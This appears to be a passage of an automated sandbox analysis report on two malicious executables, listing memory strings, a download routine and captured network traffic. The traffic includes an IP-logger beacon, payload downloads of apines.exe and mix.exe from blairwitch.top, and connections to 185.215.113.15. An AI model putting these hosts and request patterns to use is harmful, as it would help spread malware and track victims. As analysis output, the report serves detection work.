Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: mopnns.exe, 00000004.00000002.469278293.0000000002612000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: mopnns.exe, 00000004.00000002.469216086.00000000025F2000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: mopnns.exe, 00000004.00000002.469190974.00000000025E2000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: mopnns.exe, 00000004.00000002.469190974.00000000025E2000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: mopnns.exe, 00000004.00000002.469278293.0000000002612000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mopnns.exe, 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.476408687.0000000004F40000.00000004.00020000.sdmp, mopnns.exe, 00000004.00000002.475297379.00000000049D0000.00000004.00020000.sdmp, mopnns.exe, 00000004.00000003.402292014.000000000074A000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: VYeSXonMT1.exe, VYeSXonMT1.exe, 00000000.00000002.406063064.0000000003990000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405371643.0000000000400000.00000040.00020000.sdmp, VYeSXonMT1.exe, 00000000.00000003.374805242.0000000003A60000.00000004.00000001.sdmp	String found in binary or memory: https://autohotkey.com
Source: VYeSXonMT1.exe, 00000000.00000002.406063064.0000000003990000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405371643.0000000000400000.00000040.00020000.sdmp, VYeSXonMT1.exe, 00000000.00000003.374805242.0000000003A60000.00000004.00000001.sdmp	String found in binary or memory: https://autohotkey.comCould
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405960317.000000000209C000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/
Source: VYeSXonMT1.exe, 00000000.00000002.406204176.0000000003A60000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/1mhvg7
Source: VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/1mhvg7e
Source: VYeSXonMT1.exe, 00000000.00000002.406204176.0000000003A60000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405979287.00000000020B5000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/1mjvg7
Source: VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/?Oq
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/S
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp	String found in binary or memory: https://iplogger.org/a
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: mopnns.exe, 00000004.00000002.469658962.00000000027FC000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470234217.00000000029CF000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.471773711.00000000036ED000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469757454.0000000002822000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472682527.00000000037B9000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.472956135.0000000003800000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470305805.00000000029F6000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: iplogger.org

Contains functionality to download additional files from the internet

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004545D0 __wcstoi64,InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetReadFile,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,InternetReadFile,InternetReadFileExA,InternetReadFileExA,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,InternetReadFileExA,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,DeleteFileW,

0_2_004545D0

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /1mjvg7 HTTP/1.1Cache-Control: no-cache, no-storeConnection: Keep-AlivePragma: no-cacheAccept: */*If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMTUser-Agent: ( Windows 10 Enterprise | x64 | Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz | Windows Defender | Chrome )Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /1mhvg7 HTTP/1.1Cache-Control: no-cache, no-storeConnection: Keep-AlivePragma: no-cacheAccept: */*If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMTUser-Agent: ( Windows 10 Enterprise | x64 | Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz | Windows Defender | Chrome )Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /jollion/apines.exe HTTP/1.1User-Agent: AutoHotkeyHost: blairwitch.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /work/mix.exe HTTP/1.1User-Agent: AutoHotkeyHost: blairwitch.topCache-Control: no-cache

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 25 Nov 2021 17:23:39 GMTServer: Apache/2.4.38 (Debian)Content-Length: 276Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 6c 61 69 72 77 69 74 63 68 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at blairwitch.top Port 80</address></body></html>

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
